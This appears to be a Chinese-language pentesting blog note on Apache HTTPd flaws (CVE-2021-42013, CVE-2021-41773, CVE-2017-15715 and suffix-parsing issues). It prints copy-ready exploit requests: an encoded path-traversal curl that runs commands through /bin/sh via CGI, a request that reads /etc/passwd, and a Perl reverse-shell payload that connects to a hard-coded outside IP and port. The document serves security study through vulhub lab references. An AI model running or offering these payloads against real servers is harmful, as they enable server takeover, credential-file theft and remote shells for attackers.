中间件-Apache-RCE&目录遍历&文件解析

cve_2021_42013 RCE

漏洞描述:

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了/xx/.%2e/这样的路径,而没有正确处理/.%%32%65/这种字符串,导致/.%%32%65/被带入后续的处理,仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。

同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

Apache 教程:使用 CGI 生成动态内容 – Apache HTTP Server 版本 2.4 – Apache HTTP 服务器

curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

解码后:
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/../../../../bin/sh'

--data "echo;id":通过 POST 方法向目标发送数据,内容是 echo;id。这是典型的命令注入尝试 ——echo 是测试命令,;id 试图在服务器端执行 id 命令(查看当前进程的用户身份)

echo;id 是一条由两个命令组成的 Shell 命令,通过分号 ; 分隔,作用是依次执行两个独立的操作:

  1. echo:默认输出一个空行(若不带参数,echo 命令会输出一个换行符)。
  2. id:显示当前用户的身份信息,包括用户 ID(UID)、组 ID(GID)以及所属的所有组。
  3. 例如,普通用户执行可能返回:
  4.  uid=1000(username) gid=1000(username) groups=1000(username),4(adm),20(dialout)…
  5. root 用户执行则返回: uid=0(root) gid=0(root) groups=0(root)

本质是尝试进行命令注入:通过分号分隔符,让服务器在执行 echo 后,额外执行 id 命令,从而泄露服务器运行进程的用户身份(判断是否为高权限用户,如 root)。这是网络攻击中常见的测试手段,用于探测目标是否存在命令执行漏洞。

使用bp也行

反弹shell

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

cve_2021_41773 目录穿越

版本等于2.4.49、2.4.50 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的) 攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
  • -v:启用 verbose 模式,显示详细的请求和响应过程(便于观察攻击是否成功)。
  • --path-as-is 参数会强制 curl 不修改原始 URL 路径,完全按照输入的格式发送请求,包括保留所有编码字符和特殊路径结构(如 ../ 或其编码形式 %2e%2e/
burp
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

cve-2017-15715 换行解析漏洞(条件比较苛刻)

Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。 https://vulhub.org/#/environments/httpd/CVE-2017-15715/

x0A是换行符

条件:

  1. 符合漏洞版本2.4.0~2.4.29
  2. 有文件上传点
  3. 能够重命名上传文件
  4. 缺一不可

未知扩展名解析漏洞-不识别即向前解析(很少能遇见了)

apache会从右往左解析文件后缀名,直到遇到能解析的后缀,出于兼容性考虑

低版本2.4.23以下版本都可以

Apache HTTPD 多后缀解析漏洞(配置问题,比较少见)

https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability

如果运维人员给 .php 后缀增加了处理器

配置:AddHandler application/x-httpd-php .php

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注